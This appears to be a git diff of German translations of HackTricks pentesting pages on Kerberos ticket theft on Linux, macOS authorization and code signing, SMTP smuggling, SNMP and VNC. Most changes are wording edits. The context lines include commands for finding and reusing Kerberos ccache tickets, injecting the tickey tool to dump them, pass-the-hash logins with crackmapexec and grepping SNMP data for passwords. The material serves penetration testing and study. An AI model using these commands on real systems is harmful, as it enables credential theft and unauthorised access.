**LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich der von Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in: {% content-ref url="../freeipa-pentesting.md" %} [freeipa-pentesting.md](../freeipa-pentesting.md) {% endcontent-ref %} -## Mit Tickets spielen +## Spielen mit Tickets ### Pass The Ticket -Auf dieser Seite findest du verschiedene Orte, an denen du **Kerberos-Tickets auf einem Linux-Host finden könntest**. Auf der folgenden Seite kannst du lernen, wie du diese CCache-Ticketformate in Kirbi (das Format, das du in Windows verwenden musst) umwandelst und auch, wie du einen PTT-Angriff durchführst: +Auf dieser Seite finden Sie verschiedene Orte, an denen Sie **Kerberos-Tickets auf einem Linux-Host finden können**. Auf der folgenden Seite können Sie lernen, wie Sie diese CCache-Ticketformate in Kirbi (das Format, das Sie in Windows verwenden müssen) umwandeln und auch, wie Sie einen PTT-Angriff durchführen: {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) @@ -57,7 +55,7 @@ Auf dieser Seite findest du verschiedene Orte, an denen du **Kerberos-Tickets au CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können durch ihr **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen. -Liste das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist. +Listen Sie das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -68,7 +66,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE Ticket-Wiederverwendung aus dem Keyring -**Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool zu diesem Zweck ist unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) zu finden, das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet. +**Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool zu diesem Zweck findet sich unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet. Um dieses Tool zu konfigurieren und zu verwenden, werden die folgenden Schritte befolgt: ```bash @@ -77,8 +75,7 @@ cd tickey/tickey make CONF=Release /tmp/tickey -i ``` -Dieses Verfahren wird versuchen, in verschiedene Sitzungen zu injizieren, wobei der Erfolg durch das Speichern extrahierter Tickets in `/tmp` mit einer Namenskonvention von `__krb_UID.ccache` angezeigt wird. - +Dieses Verfahren wird versuchen, in verschiedene Sitzungen zu injizieren, wobei der Erfolg durch das Speichern der extrahierten Tickets in `/tmp` mit einer Namenskonvention von `__krb_UID.ccache` angezeigt wird. ### CCACHE-Ticket-Wiederverwendung von SSSD KCM @@ -120,17 +117,16 @@ Durch die Nutzung der extrahierten Konten- und Hash-Informationen können Verbin crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` ## Referenzen + * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -
- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -138,7 +134,7 @@ Lerne & übe GCP Hacking: {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md index 7de1647aa..f83870ef0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md @@ -34,7 +34,7 @@ Die Regeln werden in der `rules`-Tabelle innerhalb der Datenbank gespeichert und * **kofn**: Stellt den "k-of-n"-Parameter dar, der bestimmt, wie viele Unterregeln aus einer Gesamtzahl erfüllt sein müssen. * **timeout**: Definiert die Dauer in Sekunden, bevor die durch die Regel gewährte Autorisierung abläuft. * **flags**: Enthält verschiedene Flags, die das Verhalten und die Eigenschaften der Regel ändern. -* **tries**: Begrenzung der Anzahl der erlaubten Autorisierungsversuche zur Verbesserung der Sicherheit. +* **tries**: Begrenzung der Anzahl der zulässigen Autorisierungsversuche zur Verbesserung der Sicherheit. * **version**: Verfolgt die Version der Regel zur Versionskontrolle und Aktualisierungen. * **created**: Protokolliert den Zeitstempel, wann die Regel erstellt wurde, zu Prüfungszwecken. * **modified**: Speichert den Zeitstempel der letzten Änderung an der Regel. @@ -90,11 +90,11 @@ Außerdem ist es möglich, die Bedeutung von `authenticate-admin-nonshared` unte Es ist ein Daemon, der Anfragen erhält, um Clients zu autorisieren, sensible Aktionen durchzuführen. Es funktioniert als XPC-Dienst, der im `XPCServices/`-Ordner definiert ist, und verwendet, um seine Protokolle in `/var/log/authd.log` zu schreiben. -Darüber hinaus ist es möglich, mit dem Sicherheitstool viele `Security.framework`-APIs zu testen. Zum Beispiel `AuthorizationExecuteWithPrivileges`, das ausgeführt wird mit: `security execute-with-privileges /bin/ls` +Darüber hinaus ist es möglich, mit dem Sicherheitstool viele `Security.framework` APIs zu testen. Zum Beispiel `AuthorizationExecuteWithPrivileges`, das ausgeführt wird mit: `security execute-with-privileges /bin/ls` Das wird `/usr/libexec/security_authtrampoline /bin/ls` als root fork und exec, was nach Berechtigungen in einem Prompt fragt, um ls als root auszuführen: -
+
{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index decdbd5ed..c5809247d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -19,10 +19,10 @@ Learn & practice GCP Hacking: 
 
 Mach-o-Binärdateien enthalten einen Ladebefehl namens **`LC_CODE_SIGNATURE`**, der den **Offset** und die **Größe** der Signaturen innerhalb der Binärdatei angibt. Tatsächlich ist es möglich, mit dem GUI-Tool MachOView am Ende der Binärdatei einen Abschnitt namens **Code Signature** mit diesen Informationen zu finden:
 
-<figure><img src=
+
Der magische Header der Code Signature ist **`0xFADE0CC0`**. Dann haben Sie Informationen wie die Länge und die Anzahl der Blobs des SuperBlobs, die sie enthalten.\ -Es ist möglich, diese Informationen im [Quellcode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) zu finden: +Diese Informationen sind im [Quellcode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) zu finden: ```c /* * Structure of an embedded-signature SuperBlob @@ -58,7 +58,7 @@ Darüber hinaus können Signaturen von den Binärdateien getrennt und in `/var/d ## Codeverzeichnis-Blob -Es ist möglich, die Deklaration des [Codeverzeichnis-Blob im Code zu finden](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104): +Es ist möglich, die Deklaration des [Codeverzeichnis-Blobs im Code zu finden](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104): ```c typedef struct __CodeDirectory { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ @@ -118,7 +118,7 @@ Beachten Sie, dass es verschiedene Versionen dieser Struktur gibt, bei denen äl ## Signing Code Pages -Das Hashen des vollständigen Binaries wäre ineffizient und sogar nutzlos, wenn es nur teilweise im Speicher geladen ist. Daher ist die Codesignatur tatsächlich ein Hash von Hashes, bei dem jede Binärseite einzeln gehasht wird.\ +Das Hashing des vollständigen Binaries wäre ineffizient und sogar nutzlos, wenn es nur teilweise im Speicher geladen ist. Daher ist die Codesignatur tatsächlich ein Hash von Hashes, bei dem jede Binärseite einzeln gehasht wird.\ Tatsächlich können Sie im vorherigen **Code Directory**-Code sehen, dass die **Seitengröße in einem seiner Felder angegeben ist**. Darüber hinaus gibt das Feld **CodeLimit** an, wo das Ende der Signatur liegt, wenn die Größe des Binaries kein Vielfaches der Seitengröße ist. ```bash # Get all hashes of /bin/ps @@ -226,9 +226,9 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis Jede Anwendung speichert einige **Anforderungen**, die sie **erfüllen** muss, um ausgeführt werden zu können. Wenn die **Anforderungen der Anwendung nicht von der Anwendung erfüllt werden**, wird sie nicht ausgeführt (da sie wahrscheinlich verändert wurde). -Die Anforderungen einer Binärdatei verwenden eine **spezielle Grammatik**, die ein Stream von **Ausdrücken** ist und als Blobs mit `0xfade0c00` als Magic kodiert ist, dessen **Hash in einem speziellen Code-Slot gespeichert ist**. +Die Anforderungen einer Binärdatei verwenden eine **spezielle Grammatik**, die ein Stream von **Ausdrücken** ist und als Blobs mit `0xfade0c00` als Magic kodiert ist, dessen **Hash in einem speziellen Codeslot gespeichert ist**. -Die Anforderungen einer Binärdatei können wie folgt angezeigt werden: +Die Anforderungen einer Binärdatei können angezeigt werden, indem man Folgendes ausführt: {% code overflow="wrap" %} ```bash @@ -285,7 +285,7 @@ Es ist möglich, auf diese Informationen zuzugreifen und Anforderungen mit einig #### **Ändern von Code-Anforderungen** * **`SecCodeSignerCreate`**: Erstellt ein `SecCodeSignerRef`-Objekt für die Durchführung von Codesignierungsoperationen. -* **`SecCodeSignerSetRequirement`**: Setzt eine neue Anforderung, die der Codesigner während der Signierung anwenden soll. +* **`SecCodeSignerSetRequirement`**: Setzt eine neue Anforderung für den Codesigner, die während der Signierung angewendet werden soll. * **`SecCodeSignerAddSignature`**: Fügt eine Signatur zu dem zu signierenden Code mit dem angegebenen Signierer hinzu. #### **Validierung von Code mit Anforderungen** @@ -312,7 +312,7 @@ Der **Kernel** ist derjenige, der **die Codesignatur überprüft**, bevor er den ## `cs_blobs` & `cs_blob` -[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) Struktur enthält die Informationen über die Berechtigung des laufenden Prozesses. `csb_platform_binary` informiert auch, ob die Anwendung ein Plattform-Binary ist (was zu verschiedenen Zeitpunkten vom OS überprüft wird, um Sicherheitsmechanismen anzuwenden, wie zum Beispiel den Schutz der SEND-Rechte zu den Task-Ports dieser Prozesse). +[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) Struktur enthält die Informationen über die Berechtigung des laufenden Prozesses. `csb_platform_binary` informiert auch, ob die Anwendung ein Plattform-Binary ist (was zu verschiedenen Zeitpunkten vom OS überprüft wird, um Sicherheitsmechanismen anzuwenden, wie zum Beispiel den Schutz der SEND-Rechte zu den Task-Ports dieser Prozesse). ```c struct cs_blob { struct cs_blob *csb_next; diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index f003c74c2..03c3dc808 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -17,22 +17,22 @@ Lerne & übe GCP Hacking:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

### Wie Um diese Schwachstelle auszunutzen, muss ein Angreifer einige Daten senden, die der **Outbound SMTP-Server für nur 1 E-Mail hält, während der Inbound SMTP-Server denkt, dass es mehrere E-Mails gibt**. -Die Forscher entdeckten, dass verschiedene **Inbound-Server unterschiedliche Zeichen als das Ende der Daten** der E-Mail-Nachricht betrachten, was die Outbound-Server nicht tun.\ -Zum Beispiel ist ein reguläres Ende der Daten `\r\n.\r`. Wenn der Inbound SMTP-Server jedoch auch `\n.` unterstützt, könnte ein Angreifer einfach **diese Daten in seiner E-Mail hinzufügen und beginnen, die SMTP-Befehle** neuer E-Mails anzugeben, um sie wie im vorherigen Bild zu schmuggeln. +Die Forscher entdeckten, dass verschiedene **Inbound-Server unterschiedliche Zeichen als das Ende der Daten** der E-Mail-Nachricht betrachten, die Outbound-Server nicht tun.\ +Zum Beispiel ist ein reguläres Ende der Daten `\r\n.\r`. Aber wenn der Inbound SMTP-Server auch `\n.` unterstützt, könnte ein Angreifer einfach **diese Daten in seiner E-Mail hinzufügen und beginnen, die SMTP-Befehle** neuer E-Mails anzugeben, um sie wie im vorherigen Bild zu schmuggeln. -Natürlich könnte dies nur funktionieren, wenn der **Outbound SMTP-Server diese Daten nicht ebenfalls** als das Ende der Nachrichtendaten behandelt, denn in diesem Fall würde er 2 E-Mails anstelle von nur 1 sehen, sodass dies letztendlich die Desynchronisation ist, die in dieser Schwachstelle ausgenutzt wird. +Natürlich könnte dies nur funktionieren, wenn der **Outbound SMTP-Server diese Daten** nicht auch als das Ende der Nachrichtendaten behandelt, denn in diesem Fall würde er 2 E-Mails anstelle von nur 1 sehen, sodass dies letztendlich die Desynchronisation ist, die in dieser Schwachstelle ausgenutzt wird. Potenzielle Desynchronisationsdaten: diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index 7d9f8e3b6..65a3f25cd 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -35,20 +35,20 @@ SNMP verwendet auch den Port **162/UDP** für **Traps**. Dies sind Daten **Paket ### MIB Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgeführt sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\ -MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. +MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Werte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. ### OIDs **Object Identifiers (OIDs)** spielen eine entscheidende Rolle. Diese eindeutigen Identifikatoren sind dafür ausgelegt, Objekte innerhalb einer **Management Information Base (MIB)** zu verwalten. -Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs sind verschiedenen standardsetzenden Organisationen zugewiesen. Innerhalb dieser obersten Ebenen wird der Rahmen für globale Managementpraktiken und -standards festgelegt. +Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs sind verschiedenen standardsetzenden Organisationen zugewiesen. Innerhalb dieser obersten Ebenen wird der Rahmen für globale Managementpraktiken und Standards festgelegt. Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerhalb dieser Zweige haben sie die **Autonomie, verwaltete Objekte, die für ihre eigenen Produktlinien relevant sind, einzuschließen**. Dieses System stellt sicher, dass es eine strukturierte und organisierte Methode zur Identifizierung und Verwaltung einer Vielzahl von Objekten über verschiedene Anbieter und Standards hinweg gibt. ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) -Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was eine OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ -Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser abhängen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. +Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was eine OID bedeutet** (wie `1.3.6.1.2.1.1`) indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ +Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP) Variablen verweisen. Und von den **OIDs, die von dieser abhängen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. ### **OID Beispiel** @@ -60,10 +60,10 @@ Hier ist eine Aufschlüsselung dieser Adresse. * 1 – dies wird als ISO bezeichnet und stellt fest, dass dies eine OID ist. Deshalb beginnen alle OIDs mit „1“. * 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat. -* 6 – dies ist das dod oder das Department of Defense, das die Organisation ist, die das Internet zuerst etabliert hat. -* 1 – dies ist der Wert des Internets, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden. +* 6 – dies ist das dod oder das Department of Defense, die Organisation, die das Internet zuerst etabliert hat. +* 1 – dieser Wert bezeichnet das Internet, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden. * 4 – dieser Wert bestimmt, dass dieses Gerät von einer privaten Organisation und nicht von einer Regierungsorganisation hergestellt wurde. -* 1 – dieser Wert zeigt an, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde. +* 1 – dieser Wert bezeichnet, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde. Diese ersten sechs Werte sind für alle Geräte gleich und geben Ihnen die grundlegenden Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, es sei denn, das Gerät wird von der Regierung hergestellt. @@ -99,7 +99,7 @@ Es gibt **2 Arten von Community-Strings**: * **`private`** **Lese/Schreib** im Allgemeinen Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen" sind.**\ -Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly`-Fehler** empfangen\*\*.\*\* +Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly` Fehler** empfangen\*\*.\*\* In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er antwortet, wurde ein **gültiger Community-String verwendet**. @@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das System mit dem folgenden Befehl zu enumerieren: +Dank erweiterter Abfragen (download-mibs) ist es möglich, mit dem folgenden Befehl noch mehr über das System zu enumerieren: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -154,14 +154,14 @@ Im Bereich des Netzwerkmanagements sind bestimmte Konfigurationen und Parameter ### Zugriffseinstellungen -Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist: +Zwei Hauptparameter ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist: 1. **`rwuser noauth`** ist so eingestellt, dass es vollen Zugriff auf den OID-Baum ohne Authentifizierung ermöglicht. Diese Einstellung ist unkompliziert und erlaubt uneingeschränkten Zugriff. 2. Für spezifischere Kontrollen kann der Zugriff gewährt werden mit: * **`rwcommunity`** für **IPv4**-Adressen und * **`rwcommunity6`** für **IPv6**-Adressen. -Beide Befehle erfordern eine **Community-String** und die relevante IP-Adresse, die vollen Zugriff unabhängig vom Ursprung der Anfrage bieten. +Beide Befehle erfordern eine **Community-String** und die relevante IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten. ### SNMP-Parameter für Microsoft Windows @@ -213,13 +213,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Identifizieren Sie die private Zeichenfolge** -Ein entscheidender Schritt besteht darin, die **private Community-Zeichenfolge** zu identifizieren, die von Organisationen verwendet wird, insbesondere auf Cisco IOS-Routern. Diese Zeichenfolge ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung basiert häufig auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**: +Ein entscheidender Schritt besteht darin, die **private Community-Zeichenfolge** zu identifizieren, die von Organisationen verwendet wird, insbesondere auf Cisco IOS-Routern. Diese Zeichenfolge ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung basiert oft auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**: ```bash grep -i "trap" *.snmp ``` ### **Benutzernamen/Passwörter** -Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die möglicherweise versehentlich Passwörter enthalten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: +Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: ```bash grep -i "login\|fail" *.snmp ``` @@ -235,7 +235,7 @@ Sie können _**NetScanTools**_ verwenden, um **Werte zu ändern**. Sie müssen d ## Spoofing -Wenn es eine ACL gibt, die nur einigen IPs erlaubt, den SNMP-Dienst abzufragen, können Sie eine dieser Adressen im UDP-Paket fälschen und den Verkehr abhören. +Wenn es eine ACL gibt, die nur einigen IPs erlaubt, den SNMP-Dienst abzufragen, können Sie eine dieser Adressen im UDP-Paket fälschen und den Verkehr sniffen. ## Überprüfen von SNMP-Konfigurationsdateien @@ -243,7 +243,7 @@ Wenn es eine ACL gibt, die nur einigen IPs erlaubt, den SNMP-Dienst abzufragen, * snmpd.conf * snmp-config.xml -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 62cb9aee9..51f665f8b 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -15,9 +15,9 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
+
-Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). +Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} @@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -64,11 +64,11 @@ Lernen & üben Sie GCP Hacking: -HackTricks unterstützen +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen. +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/network-services-pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md index a6880add4..17464ccc5 100644 --- a/network-services-pentesting/pentesting-vnc.md +++ b/network-services-pentesting/pentesting-vnc.md @@ -1,8 +1,8 @@ # 5800,5801,5900,5901 - Pentesting VNC {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
+
